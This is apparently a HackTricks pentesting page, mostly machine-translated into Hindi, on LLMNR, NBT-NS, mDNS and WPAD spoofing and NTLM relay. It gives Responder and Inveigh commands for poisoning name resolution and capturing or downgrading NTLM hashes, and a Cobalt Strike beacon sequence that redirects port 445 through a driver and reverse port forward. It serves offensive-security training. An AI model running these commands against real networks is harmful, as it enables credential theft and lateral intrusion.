Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:

  • Microsoft ā¤”ā¤° ā¤…ā¤¨āĨā¤¯ ā¤‘ā¤Ēā¤°āĨ‡ā¤Ÿā¤ŋā¤‚ā¤— ā¤¸ā¤ŋā¤¸āĨā¤Ÿā¤Ž DNS ā¤ĩā¤ŋā¤Ģā¤˛ ā¤šāĨ‹ā¤¨āĨ‡ ā¤Ēā¤° ā¤¸āĨā¤Ĩā¤žā¤¨āĨ€ā¤¯ ā¤¨ā¤žā¤Ž ā¤¸ā¤Žā¤žā¤§ā¤žā¤¨ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ LLMNR ā¤”ā¤° NBT-NS ā¤•ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤— ā¤•ā¤°ā¤¤āĨ‡ ā¤šāĨˆā¤‚āĨ¤ ā¤‡ā¤¸āĨ€ ā¤¤ā¤°ā¤š, Apple ā¤”ā¤° Linux ā¤¸ā¤ŋā¤¸āĨā¤Ÿā¤Ž mDNS ā¤•ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤— ā¤•ā¤°ā¤¤āĨ‡ ā¤šāĨˆā¤‚āĨ¤

  • ā¤¯āĨ‡ ā¤ĒāĨā¤°āĨ‹ā¤ŸāĨ‹ā¤•āĨ‰ā¤˛ UDP ā¤Ēā¤° ā¤‰ā¤¨ā¤•āĨ€ ā¤Ŧā¤ŋā¤¨ā¤ž ā¤ĒāĨā¤°ā¤Žā¤žā¤ŖāĨ€ā¤•ā¤°ā¤Ŗ, ā¤ĒāĨā¤°ā¤¸ā¤žā¤°ā¤Ŗ ā¤ĒāĨā¤°ā¤•āĨƒā¤¤ā¤ŋ ā¤•āĨ‡ ā¤•ā¤žā¤°ā¤Ŗ ā¤‡ā¤‚ā¤Ÿā¤°ā¤¸āĨ‡ā¤ĒāĨā¤ļā¤¨ ā¤”ā¤° ā¤¸āĨā¤ĒāĨ‚ā¤Ģā¤ŋā¤‚ā¤— ā¤•āĨ‡ ā¤ĒāĨā¤°ā¤¤ā¤ŋ ā¤¸ā¤‚ā¤ĩāĨ‡ā¤Ļā¤¨ā¤ļāĨ€ā¤˛ ā¤šāĨˆā¤‚āĨ¤

  • Responder ā¤•ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤— ā¤‡ā¤¨ ā¤ĒāĨā¤°āĨ‹ā¤ŸāĨ‹ā¤•āĨ‰ā¤˛ ā¤•āĨ‹ ā¤•āĨā¤ĩāĨ‡ā¤°āĨ€ ā¤•ā¤°ā¤¨āĨ‡ ā¤ĩā¤žā¤˛āĨ‡ ā¤šāĨ‹ā¤¸āĨā¤Ÿ ā¤•āĨ‹ ā¤œā¤žā¤˛āĨ€ ā¤ĒāĨā¤°ā¤¤ā¤ŋā¤•āĨā¤°ā¤ŋā¤¯ā¤žā¤ā¤ ā¤­āĨ‡ā¤œā¤•ā¤° ā¤¸āĨ‡ā¤ĩā¤žā¤“ā¤‚ ā¤•ā¤ž ā¤…ā¤¨āĨā¤•ā¤°ā¤Ŗ ā¤•ā¤°ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤ž ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆāĨ¤

  • Responder ā¤•ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤— ā¤•ā¤°ā¤•āĨ‡ ā¤¸āĨ‡ā¤ĩā¤ž ā¤…ā¤¨āĨā¤•ā¤°ā¤Ŗ ā¤Ēā¤° ā¤…ā¤§ā¤ŋā¤• ā¤œā¤žā¤¨ā¤•ā¤žā¤°āĨ€ ā¤¯ā¤šā¤žā¤ ā¤Žā¤ŋā¤˛ ā¤¸ā¤•ā¤¤āĨ€ ā¤šāĨˆāĨ¤

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD ā¤ŦāĨā¤°ā¤žā¤‰ā¤œā¤ŧā¤°āĨ‹ā¤‚ ā¤•āĨ‹ ā¤¸āĨā¤ĩā¤šā¤žā¤˛ā¤ŋā¤¤ ā¤°āĨ‚ā¤Ē ā¤¸āĨ‡ ā¤ĒāĨā¤°āĨ‰ā¤•āĨā¤¸āĨ€ ā¤¸āĨ‡ā¤Ÿā¤ŋā¤‚ā¤—āĨā¤¸ ā¤–āĨ‹ā¤œā¤¨āĨ‡ ā¤•āĨ€ ā¤…ā¤¨āĨā¤Žā¤¤ā¤ŋ ā¤ĻāĨ‡ā¤¤ā¤ž ā¤šāĨˆāĨ¤

  • ā¤–āĨ‹ā¤œ DHCP, DNS ā¤•āĨ‡ ā¤Žā¤žā¤§āĨā¤¯ā¤Ž ā¤¸āĨ‡ ā¤•āĨ€ ā¤œā¤žā¤¤āĨ€ ā¤šāĨˆ, ā¤¯ā¤ž ā¤¯ā¤Ļā¤ŋ DNS ā¤ĩā¤ŋā¤Ģā¤˛ ā¤šāĨ‹ ā¤œā¤žā¤¤ā¤ž ā¤šāĨˆ ā¤¤āĨ‹ LLMNR ā¤”ā¤° NBT-NS ā¤Ēā¤° ā¤ĩā¤žā¤Ēā¤¸ ā¤œā¤žā¤¤āĨ€ ā¤šāĨˆāĨ¤

  • Responder WPAD ā¤šā¤Žā¤˛āĨ‹ā¤‚ ā¤•āĨ‹ ā¤¸āĨā¤ĩā¤šā¤žā¤˛ā¤ŋā¤¤ ā¤•ā¤° ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆ, ā¤—āĨā¤°ā¤žā¤šā¤•āĨ‹ā¤‚ ā¤•āĨ‹ ā¤ĻāĨā¤°āĨā¤­ā¤žā¤ĩā¤¨ā¤žā¤ĒāĨ‚ā¤°āĨā¤Ŗ WPAD ā¤¸ā¤°āĨā¤ĩā¤°āĨ‹ā¤‚ ā¤•āĨ€ ā¤“ā¤° ā¤¨ā¤ŋā¤°āĨā¤ĻāĨ‡ā¤ļā¤ŋā¤¤ ā¤•ā¤° ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆāĨ¤

Responder for Protocol Poisoning

  • Responder ā¤ā¤• ā¤‰ā¤Ēā¤•ā¤°ā¤Ŗ ā¤šāĨˆ ā¤œā¤ŋā¤¸ā¤•ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤— LLMNR, NBT-NS, ā¤”ā¤° mDNS ā¤•āĨā¤ĩāĨ‡ā¤°āĨ€ā¤œā¤ŧ ā¤•āĨ‹ ā¤œā¤ŧā¤šā¤° ā¤ĻāĨ‡ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤žā¤¤ā¤ž ā¤šāĨˆ, ā¤œāĨ‹ ā¤•āĨā¤ĩāĨ‡ā¤°āĨ€ ā¤ĒāĨā¤°ā¤•ā¤žā¤°āĨ‹ā¤‚ ā¤•āĨ‡ ā¤†ā¤§ā¤žā¤° ā¤Ēā¤° ā¤šā¤¯ā¤¨ā¤žā¤¤āĨā¤Žā¤• ā¤°āĨ‚ā¤Ē ā¤¸āĨ‡ ā¤ĒāĨā¤°ā¤¤ā¤ŋā¤•āĨā¤°ā¤ŋā¤¯ā¤ž ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆ, ā¤ŽāĨā¤–āĨā¤¯ ā¤°āĨ‚ā¤Ē ā¤¸āĨ‡ SMB ā¤¸āĨ‡ā¤ĩā¤žā¤“ā¤‚ ā¤•āĨ‹ ā¤˛ā¤•āĨā¤ˇā¤ŋā¤¤ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆāĨ¤

  • ā¤¯ā¤š Kali Linux ā¤ŽāĨ‡ā¤‚ ā¤ĒāĨ‚ā¤°āĨā¤ĩ-ā¤¸āĨā¤Ĩā¤žā¤Ēā¤ŋā¤¤ ā¤†ā¤¤ā¤ž ā¤šāĨˆ, ā¤œā¤ŋā¤¸āĨ‡ /etc/responder/Responder.conf ā¤Ēā¤° ā¤•āĨ‰ā¤¨āĨā¤Ģā¤ŧā¤ŋā¤—ā¤° ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤ž ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆāĨ¤

  • Responder ā¤¸āĨā¤•āĨā¤°āĨ€ā¤¨ ā¤Ēā¤° ā¤•āĨˆā¤ĒāĨā¤šā¤° ā¤•ā¤ŋā¤ ā¤—ā¤ ā¤šāĨˆā¤ļ ā¤ĒāĨā¤°ā¤Ļā¤°āĨā¤ļā¤ŋā¤¤ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆ ā¤”ā¤° ā¤‰ā¤¨āĨā¤šāĨ‡ā¤‚ /usr/share/responder/logs ā¤¨ā¤ŋā¤°āĨā¤ĻāĨ‡ā¤ļā¤ŋā¤•ā¤ž ā¤ŽāĨ‡ā¤‚ ā¤¸ā¤šāĨ‡ā¤œā¤¤ā¤ž ā¤šāĨˆāĨ¤

  • ā¤¯ā¤š IPv4 ā¤”ā¤° IPv6 ā¤ĻāĨ‹ā¤¨āĨ‹ā¤‚ ā¤•ā¤ž ā¤¸ā¤Žā¤°āĨā¤Ĩā¤¨ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆāĨ¤

  • Responder ā¤•ā¤ž Windows ā¤¸ā¤‚ā¤¸āĨā¤•ā¤°ā¤Ŗ ā¤¯ā¤šā¤žā¤ ā¤‰ā¤Ēā¤˛ā¤ŦāĨā¤§ ā¤šāĨˆāĨ¤

Running Responder

  • ā¤Ąā¤ŋā¤Ģā¤ŧāĨ‰ā¤˛āĨā¤Ÿ ā¤¸āĨ‡ā¤Ÿā¤ŋā¤‚ā¤—āĨā¤¸ ā¤•āĨ‡ ā¤¸ā¤žā¤Ĩ Responder ā¤šā¤˛ā¤žā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤: responder -I <Interface>

  • ā¤…ā¤§ā¤ŋā¤• ā¤†ā¤•āĨā¤°ā¤žā¤Žā¤• ā¤ĒāĨā¤°āĨ‹ā¤Ŧā¤ŋā¤‚ā¤— ā¤•āĨ‡ ā¤˛ā¤ŋā¤ (ā¤¸ā¤‚ā¤­ā¤žā¤ĩā¤ŋā¤¤ ā¤ĻāĨā¤ˇāĨā¤ĒāĨā¤°ā¤­ā¤žā¤ĩāĨ‹ā¤‚ ā¤•āĨ‡ ā¤¸ā¤žā¤Ĩ): responder -I <Interface> -P -r -v

  • ā¤†ā¤¸ā¤žā¤¨ ā¤•āĨā¤°āĨˆā¤•ā¤ŋā¤‚ā¤— ā¤•āĨ‡ ā¤˛ā¤ŋā¤ NTLMv1 ā¤šāĨā¤¨āĨŒā¤¤ā¤ŋā¤¯āĨ‹ā¤‚/ā¤ĒāĨā¤°ā¤¤ā¤ŋā¤•āĨā¤°ā¤ŋā¤¯ā¤žā¤“ā¤‚ ā¤•āĨ‹ ā¤•āĨˆā¤ĒāĨā¤šā¤° ā¤•ā¤°ā¤¨āĨ‡ ā¤•āĨ€ ā¤¤ā¤•ā¤¨āĨ€ā¤•āĨ‡ā¤‚: responder -I <Interface> --lm --disable-ess

  • WPAD ā¤…ā¤¨āĨā¤•ā¤°ā¤Ŗ ā¤•āĨ‹ ā¤¸ā¤•āĨā¤°ā¤ŋā¤¯ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤ž ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆ: responder -I <Interface> --wpad

  • NetBIOS ā¤…ā¤¨āĨā¤°āĨ‹ā¤§āĨ‹ā¤‚ ā¤•āĨ‹ ā¤šā¤Žā¤˛ā¤žā¤ĩā¤° ā¤•āĨ‡ IP ā¤Ēā¤° ā¤šā¤˛ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤ž ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆ, ā¤”ā¤° ā¤ā¤• ā¤ĒāĨā¤°ā¤Žā¤žā¤ŖāĨ€ā¤•ā¤°ā¤Ŗ ā¤ĒāĨā¤°āĨ‰ā¤•āĨā¤¸āĨ€ ā¤¸āĨā¤Ĩā¤žā¤Ēā¤ŋā¤¤ ā¤•āĨ€ ā¤œā¤ž ā¤¸ā¤•ā¤¤āĨ€ ā¤šāĨˆ: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • DHCP ā¤ĒāĨā¤°ā¤¤ā¤ŋā¤•āĨā¤°ā¤ŋā¤¯ā¤žā¤“ā¤‚ ā¤•āĨ‹ ā¤¸āĨā¤ĒāĨ‚ā¤Ģ ā¤•ā¤°ā¤¨ā¤ž ā¤ā¤• ā¤ĒāĨ€ā¤Ąā¤ŧā¤ŋā¤¤ ā¤•āĨ€ ā¤°āĨ‚ā¤Ÿā¤ŋā¤‚ā¤— ā¤œā¤žā¤¨ā¤•ā¤žā¤°āĨ€ ā¤•āĨ‹ ā¤¸āĨā¤Ĩā¤žā¤¯āĨ€ ā¤°āĨ‚ā¤Ē ā¤¸āĨ‡ ā¤œā¤ŧā¤šā¤° ā¤ĻāĨ‡ ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆ, ARP ā¤œā¤ŧā¤šā¤° ā¤ĻāĨ‡ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤ā¤• ā¤…ā¤§ā¤ŋā¤• ā¤›ā¤ŋā¤Ēā¤ž ā¤šāĨā¤† ā¤ĩā¤ŋā¤•ā¤˛āĨā¤Ē ā¤ĒāĨā¤°ā¤Ļā¤žā¤¨ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆāĨ¤

  • ā¤¯ā¤š ā¤˛ā¤•āĨā¤ˇā¤ŋā¤¤ ā¤¨āĨ‡ā¤Ÿā¤ĩā¤°āĨā¤• ā¤•āĨ€ ā¤•āĨ‰ā¤¨āĨā¤Ģā¤ŧā¤ŋā¤—ā¤°āĨ‡ā¤ļā¤¨ ā¤•āĨ‡ ā¤Ŧā¤žā¤°āĨ‡ ā¤ŽāĨ‡ā¤‚ ā¤¸ā¤ŸāĨ€ā¤• ā¤œāĨā¤žā¤žā¤¨ ā¤•āĨ€ ā¤†ā¤ĩā¤ļāĨā¤¯ā¤•ā¤¤ā¤ž ā¤šāĨ‹ā¤¤āĨ€ ā¤šāĨˆāĨ¤

  • ā¤šā¤Žā¤˛āĨ‡ ā¤•āĨ‹ ā¤šā¤˛ā¤žā¤¨ā¤ž: ./Responder.py -I eth0 -Pdv

  • ā¤¯ā¤š ā¤ĩā¤ŋā¤§ā¤ŋ NTLMv1/2 ā¤šāĨˆā¤ļ ā¤•āĨ‹ ā¤ĒāĨā¤°ā¤­ā¤žā¤ĩāĨ€ ā¤ĸā¤‚ā¤— ā¤¸āĨ‡ ā¤•āĨˆā¤ĒāĨā¤šā¤° ā¤•ā¤° ā¤¸ā¤•ā¤¤āĨ€ ā¤šāĨˆ, ā¤˛āĨ‡ā¤•ā¤ŋā¤¨ ā¤¨āĨ‡ā¤Ÿā¤ĩā¤°āĨā¤• ā¤ŽāĨ‡ā¤‚ ā¤ĩāĨā¤¯ā¤ĩā¤§ā¤žā¤¨ ā¤¸āĨ‡ ā¤Ŧā¤šā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤¸ā¤žā¤ĩā¤§ā¤žā¤¨āĨ€ā¤ĒāĨ‚ā¤°āĨā¤ĩā¤• ā¤šāĨˆā¤‚ā¤Ąā¤˛ā¤ŋā¤‚ā¤— ā¤•āĨ€ ā¤†ā¤ĩā¤ļāĨā¤¯ā¤•ā¤¤ā¤ž ā¤šāĨ‹ā¤¤āĨ€ ā¤šāĨˆāĨ¤

Capturing Credentials with Responder

  • Responder ā¤‰ā¤Ēā¤°āĨ‹ā¤•āĨā¤¤ ā¤ĒāĨā¤°āĨ‹ā¤ŸāĨ‹ā¤•āĨ‰ā¤˛ ā¤•ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤— ā¤•ā¤°ā¤•āĨ‡ ā¤¸āĨ‡ā¤ĩā¤žā¤“ā¤‚ ā¤•ā¤ž ā¤…ā¤¨āĨā¤•ā¤°ā¤Ŗ ā¤•ā¤°āĨ‡ā¤—ā¤ž, ā¤œā¤Ŧ ā¤ā¤• ā¤‰ā¤Ēā¤¯āĨ‹ā¤—ā¤•ā¤°āĨā¤¤ā¤ž ā¤¸āĨā¤ĒāĨ‚ā¤Ģ ā¤•āĨ€ ā¤—ā¤ˆ ā¤¸āĨ‡ā¤ĩā¤žā¤“ā¤‚ ā¤•āĨ‡ ā¤–ā¤ŋā¤˛ā¤žā¤Ģ ā¤ĒāĨā¤°ā¤Žā¤žā¤ŖāĨ€ā¤•ā¤°ā¤Ŗ ā¤•ā¤°ā¤¨āĨ‡ ā¤•ā¤ž ā¤ĒāĨā¤°ā¤¯ā¤žā¤¸ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆ, ā¤¤āĨ‹ ā¤•āĨā¤°āĨ‡ā¤ĄāĨ‡ā¤‚ā¤ļā¤ŋā¤¯ā¤˛āĨā¤¸ (ā¤†ā¤Žā¤¤āĨŒā¤° ā¤Ēā¤° NTLMv2 ā¤šāĨā¤¨āĨŒā¤¤āĨ€/ā¤ĒāĨā¤°ā¤¤ā¤ŋā¤•āĨā¤°ā¤ŋā¤¯ā¤ž) ā¤•āĨˆā¤ĒāĨā¤šā¤° ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆāĨ¤

  • NetNTLMv1 ā¤ŽāĨ‡ā¤‚ ā¤Ąā¤žā¤‰ā¤¨ā¤—āĨā¤°āĨ‡ā¤Ą ā¤•ā¤°ā¤¨āĨ‡ ā¤¯ā¤ž ā¤†ā¤¸ā¤žā¤¨ ā¤•āĨā¤°āĨ‡ā¤ĄāĨ‡ā¤‚ā¤ļā¤ŋā¤¯ā¤˛ ā¤•āĨā¤°āĨˆā¤•ā¤ŋā¤‚ā¤— ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ESS ā¤•āĨ‹ ā¤¨ā¤ŋā¤ˇāĨā¤•āĨā¤°ā¤ŋā¤¯ ā¤•ā¤°ā¤¨āĨ‡ ā¤•ā¤ž ā¤ĒāĨā¤°ā¤¯ā¤žā¤¸ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤ž ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆāĨ¤

ā¤¯ā¤š ā¤Žā¤šā¤¤āĨā¤ĩā¤ĒāĨ‚ā¤°āĨā¤Ŗ ā¤šāĨˆ ā¤•ā¤ŋ ā¤‡ā¤¨ ā¤¤ā¤•ā¤¨āĨ€ā¤•āĨ‹ā¤‚ ā¤•ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤— ā¤•ā¤žā¤¨āĨ‚ā¤¨āĨ€ ā¤”ā¤° ā¤¨āĨˆā¤¤ā¤ŋā¤• ā¤°āĨ‚ā¤Ē ā¤¸āĨ‡ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤žā¤, ā¤‰ā¤šā¤ŋā¤¤ ā¤ĒāĨā¤°ā¤žā¤§ā¤ŋā¤•ā¤°ā¤Ŗ ā¤¸āĨā¤¨ā¤ŋā¤ļāĨā¤šā¤ŋā¤¤ ā¤•ā¤°ā¤¤āĨ‡ ā¤šāĨā¤ ā¤”ā¤° ā¤ĩāĨā¤¯ā¤ĩā¤§ā¤žā¤¨ ā¤¯ā¤ž ā¤…ā¤¨ā¤§ā¤ŋā¤•āĨƒā¤¤ ā¤Ēā¤šāĨā¤‚ā¤š ā¤¸āĨ‡ ā¤Ŧā¤šā¤¤āĨ‡ ā¤šāĨā¤āĨ¤

Inveigh

Inveigh ā¤ā¤• ā¤‰ā¤Ēā¤•ā¤°ā¤Ŗ ā¤šāĨˆ ā¤œāĨ‹ ā¤ĒāĨ‡ā¤¨ā¤ŸāĨ‡ā¤¸āĨā¤Ÿā¤°āĨā¤¸ ā¤”ā¤° ā¤°āĨ‡ā¤Ą ā¤ŸāĨ€ā¤Žā¤°āĨā¤¸ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤Ąā¤ŋā¤œā¤ŧā¤žā¤‡ā¤¨ ā¤•ā¤ŋā¤¯ā¤ž ā¤—ā¤¯ā¤ž ā¤šāĨˆ, ā¤œāĨ‹ Windows ā¤¸ā¤ŋā¤¸āĨā¤Ÿā¤Ž ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤šāĨˆāĨ¤ ā¤¯ā¤š Responder ā¤•āĨ‡ ā¤¸ā¤Žā¤žā¤¨ ā¤•ā¤žā¤°āĨā¤¯ā¤•āĨā¤ˇā¤Žā¤¤ā¤žā¤ā¤ ā¤ĒāĨā¤°ā¤Ļā¤žā¤¨ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆ, ā¤¸āĨā¤ĒāĨ‚ā¤Ģā¤ŋā¤‚ā¤— ā¤”ā¤° ā¤ŽāĨˆā¤¨-ā¤‡ā¤¨-ā¤Ļ-ā¤Žā¤ŋā¤Ąā¤˛ ā¤šā¤Žā¤˛āĨ‡ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆāĨ¤ ā¤¯ā¤š ā¤‰ā¤Ēā¤•ā¤°ā¤Ŗ ā¤ā¤• PowerShell ā¤¸āĨā¤•āĨā¤°ā¤ŋā¤ĒāĨā¤Ÿ ā¤¸āĨ‡ C# ā¤Ŧā¤žā¤‡ā¤¨ā¤°āĨ€ ā¤ŽāĨ‡ā¤‚ ā¤ĩā¤ŋā¤•ā¤¸ā¤ŋā¤¤ ā¤šāĨā¤† ā¤šāĨˆ, ā¤œā¤ŋā¤¸ā¤ŽāĨ‡ā¤‚ Inveigh ā¤”ā¤° InveighZero ā¤ŽāĨā¤–āĨā¤¯ ā¤¸ā¤‚ā¤¸āĨā¤•ā¤°ā¤Ŗ ā¤šāĨˆā¤‚āĨ¤ ā¤ĩā¤ŋā¤¸āĨā¤¤āĨƒā¤¤ ā¤ĒāĨˆā¤°ā¤žā¤ŽāĨ€ā¤Ÿā¤° ā¤”ā¤° ā¤¨ā¤ŋā¤°āĨā¤ĻāĨ‡ā¤ļ wiki ā¤ŽāĨ‡ā¤‚ ā¤Žā¤ŋā¤˛ ā¤¸ā¤•ā¤¤āĨ‡ ā¤šāĨˆā¤‚āĨ¤

Inveigh ā¤•āĨ‹ PowerShell ā¤•āĨ‡ ā¤Žā¤žā¤§āĨā¤¯ā¤Ž ā¤¸āĨ‡ ā¤¸ā¤‚ā¤šā¤žā¤˛ā¤ŋā¤¤ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤ž ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆ:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

ā¤¯ā¤ž C# ā¤Ŧā¤žā¤‡ā¤¨ā¤°āĨ€ ā¤•āĨ‡ ā¤°āĨ‚ā¤Ē ā¤ŽāĨ‡ā¤‚ ā¤¨ā¤ŋā¤ˇāĨā¤Ēā¤žā¤Ļā¤ŋā¤¤ ā¤•ā¤ŋā¤¯ā¤ž ā¤—ā¤¯ā¤ž:

Inveigh.exe

NTLM Relay Attack

ā¤¯ā¤š ā¤šā¤Žā¤˛ā¤ž SMB ā¤ĒāĨā¤°ā¤Žā¤žā¤ŖāĨ€ā¤•ā¤°ā¤Ŗ ā¤¸ā¤¤āĨā¤°āĨ‹ā¤‚ ā¤•ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤— ā¤•ā¤°ā¤•āĨ‡ ā¤ā¤• ā¤˛ā¤•āĨā¤ˇā¤ŋā¤¤ ā¤Žā¤ļāĨ€ā¤¨ ā¤¤ā¤• ā¤Ēā¤šāĨā¤ā¤šā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤žā¤¤ā¤ž ā¤šāĨˆ, ā¤¯ā¤Ļā¤ŋ ā¤¸ā¤Ģā¤˛ ā¤šāĨ‹ ā¤¤āĨ‹ ā¤ā¤• ā¤¸ā¤ŋā¤¸āĨā¤Ÿā¤Ž ā¤ļāĨ‡ā¤˛ ā¤ĒāĨā¤°ā¤Ļā¤žā¤¨ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆāĨ¤ ā¤ĒāĨā¤°ā¤ŽāĨā¤– ā¤ĒāĨ‚ā¤°āĨā¤ĩā¤žā¤ĒāĨ‡ā¤•āĨā¤ˇā¤žā¤ā¤ ā¤ļā¤žā¤Žā¤ŋā¤˛ ā¤šāĨˆā¤‚:

  • ā¤ĒāĨā¤°ā¤Žā¤žā¤ŖāĨ€ā¤•ā¤°ā¤Ŗ ā¤•ā¤°ā¤¨āĨ‡ ā¤ĩā¤žā¤˛āĨ‡ ā¤‰ā¤Ēā¤¯āĨ‹ā¤—ā¤•ā¤°āĨā¤¤ā¤ž ā¤•āĨ‹ ā¤°ā¤ŋā¤˛āĨ‡ ā¤•ā¤ŋā¤ ā¤—ā¤ ā¤šāĨ‹ā¤¸āĨā¤Ÿ ā¤Ēā¤° ā¤¸āĨā¤Ĩā¤žā¤¨āĨ€ā¤¯ ā¤ĩāĨā¤¯ā¤ĩā¤¸āĨā¤Ĩā¤žā¤Ēā¤• ā¤Ēā¤šāĨā¤ā¤š ā¤šāĨ‹ā¤¨āĨ€ ā¤šā¤žā¤šā¤ŋā¤āĨ¤

  • SMB ā¤¸ā¤žā¤‡ā¤¨ā¤ŋā¤‚ā¤— ā¤•āĨ‹ ā¤…ā¤•āĨā¤ˇā¤Ž ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤žā¤¨ā¤ž ā¤šā¤žā¤šā¤ŋā¤āĨ¤

445 Port Forwarding and Tunneling

ā¤‰ā¤¨ ā¤Ēā¤°ā¤ŋā¤ĻāĨƒā¤ļāĨā¤¯āĨ‹ā¤‚ ā¤ŽāĨ‡ā¤‚ ā¤œā¤šā¤žā¤ ā¤¸āĨ€ā¤§āĨ‡ ā¤¨āĨ‡ā¤Ÿā¤ĩā¤°āĨā¤• ā¤Ēā¤°ā¤ŋā¤šā¤¯ ā¤¸ā¤‚ā¤­ā¤ĩ ā¤¨ā¤šāĨ€ā¤‚ ā¤šāĨˆ, ā¤ĒāĨ‹ā¤°āĨā¤Ÿ 445 ā¤Ēā¤° ā¤ŸāĨā¤°āĨˆā¤Ģā¤ŧā¤ŋā¤• ā¤•āĨ‹ ā¤…ā¤—āĨā¤°āĨ‡ā¤ˇā¤ŋā¤¤ ā¤”ā¤° ā¤Ÿā¤¨ā¤˛ ā¤•ā¤°ā¤¨āĨ‡ ā¤•āĨ€ ā¤†ā¤ĩā¤ļāĨā¤¯ā¤•ā¤¤ā¤ž ā¤šāĨ‹ā¤¤āĨ€ ā¤šāĨˆāĨ¤ PortBender ā¤œāĨˆā¤¸āĨ‡ ā¤‰ā¤Ēā¤•ā¤°ā¤Ŗ ā¤ĒāĨ‹ā¤°āĨā¤Ÿ 445 ā¤ŸāĨā¤°āĨˆā¤Ģā¤ŧā¤ŋā¤• ā¤•āĨ‹ ā¤ĻāĨ‚ā¤¸ā¤°āĨ‡ ā¤ĒāĨ‹ā¤°āĨā¤Ÿ ā¤Ēā¤° ā¤ĒāĨā¤¨ā¤°āĨā¤¨ā¤ŋā¤°āĨā¤ĻāĨ‡ā¤ļā¤ŋā¤¤ ā¤•ā¤°ā¤¨āĨ‡ ā¤ŽāĨ‡ā¤‚ ā¤Žā¤Ļā¤Ļ ā¤•ā¤°ā¤¤āĨ‡ ā¤šāĨˆā¤‚, ā¤œāĨ‹ ā¤ĄāĨā¤°ā¤žā¤‡ā¤ĩā¤° ā¤˛āĨ‹ā¤Ąā¤ŋā¤‚ā¤— ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤¸āĨā¤Ĩā¤žā¤¨āĨ€ā¤¯ ā¤ĩāĨā¤¯ā¤ĩā¤¸āĨā¤Ĩā¤žā¤Ēā¤• ā¤Ēā¤šāĨā¤ā¤š ā¤‰ā¤Ēā¤˛ā¤ŦāĨā¤§ ā¤šāĨ‹ā¤¨āĨ‡ ā¤Ēā¤° ā¤†ā¤ĩā¤ļāĨā¤¯ā¤• ā¤šāĨˆāĨ¤

PortBender ā¤¸āĨ‡ā¤Ÿā¤…ā¤Ē ā¤”ā¤° ā¤¸ā¤‚ā¤šā¤žā¤˛ā¤¨ Cobalt Strike ā¤ŽāĨ‡ā¤‚:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM ā¤°ā¤ŋā¤˛āĨ‡ ā¤šā¤Žā¤˛āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤…ā¤¨āĨā¤¯ ā¤‰ā¤Ēā¤•ā¤°ā¤Ŗ

